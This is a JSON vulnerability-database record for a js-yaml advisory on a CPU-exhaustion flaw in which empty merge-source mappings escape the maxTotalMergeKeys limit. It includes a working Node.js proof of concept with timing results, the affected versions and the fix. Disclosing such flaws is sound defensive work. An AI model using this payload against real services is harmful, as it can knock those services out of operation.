{"id":"GHSA-r3ph-w7gj-g6xm","revision":null,"records":[{"revision":"b6c3005f612c475ca9b16ce2dcbf9ab6","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-r3ph-w7gj-g6xm","aliases":[],"title":"js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources","description":"## Summary\n\n`maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.\n\n## Example\n\n```yaml\narr: &arr [{}, {}, {}, ...] # N empty mappings\ntargets:\n  - <<: *arr                # repeated K times\n```\n\nFor every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged.\n\n## PoC\n\n```js\nimport { performance } from 'node:perf_hooks'\nimport { load, YAML11_SCHEMA } from 'js-yaml'\n\nconst n = 20000\n\nconst src =\n  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\\n' +\n  'targets:\\n' +\n  '  - <<: *arr\\n'.repeat(n)\n\nconst started = performance.now()\n\nload(src, { schema: YAML11_SCHEMA })\n\nconsole.log(`${(performance.now() - started).toFixed(1)} ms`)\n```\n\nObserved results:\n\n| N | YAML size | Time |\n|---:|---:|---:|\n| 800 | ~13 KB | ~20 ms |\n| 3200 | ~50 KB | ~180 ms |\n| 20000 | ~500 KB | ~13 s |\n\n## Impact\n\nWhen merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit.\n\n## Fix\n\nCount every merge source mapping as one budget unit in addition to counting its keys.","state":0,"publishedAt":"2026-09-29T17:57:39+00:00","modifiedAt":"2026-09-29T18:15:05.5653093+00:00","affected":[{"ecosystem":"npm","name":"js-yaml","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"5.0.0"},{"kind":"fixed","version":"5.4.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/nodeca/js-yaml/security/advisories/GHSA-r3ph-w7gj-g6xm","https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480","https://github.com/nodeca/js-yaml","https://github.com/nodeca/js-yaml/releases/tag/5.4.1"],"sourceUrl":"https://github.com/advisories/GHSA-r3ph-w7gj-g6xm","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-r3ph-w7gj-g6xm","identifiers":["GHSA-r3ph-w7gj-g6xm"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-570328139368428ca550af1570d01579","complete":true,"records":13760,"lastAttemptAt":"2026-11-12T06:55:06.9273282+00:00","lastSuccessAt":"2026-11-12T06:55:06.923+00:00","error":null,"lastVerifiedAt":"2026-11-12T06:55:06.923+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. 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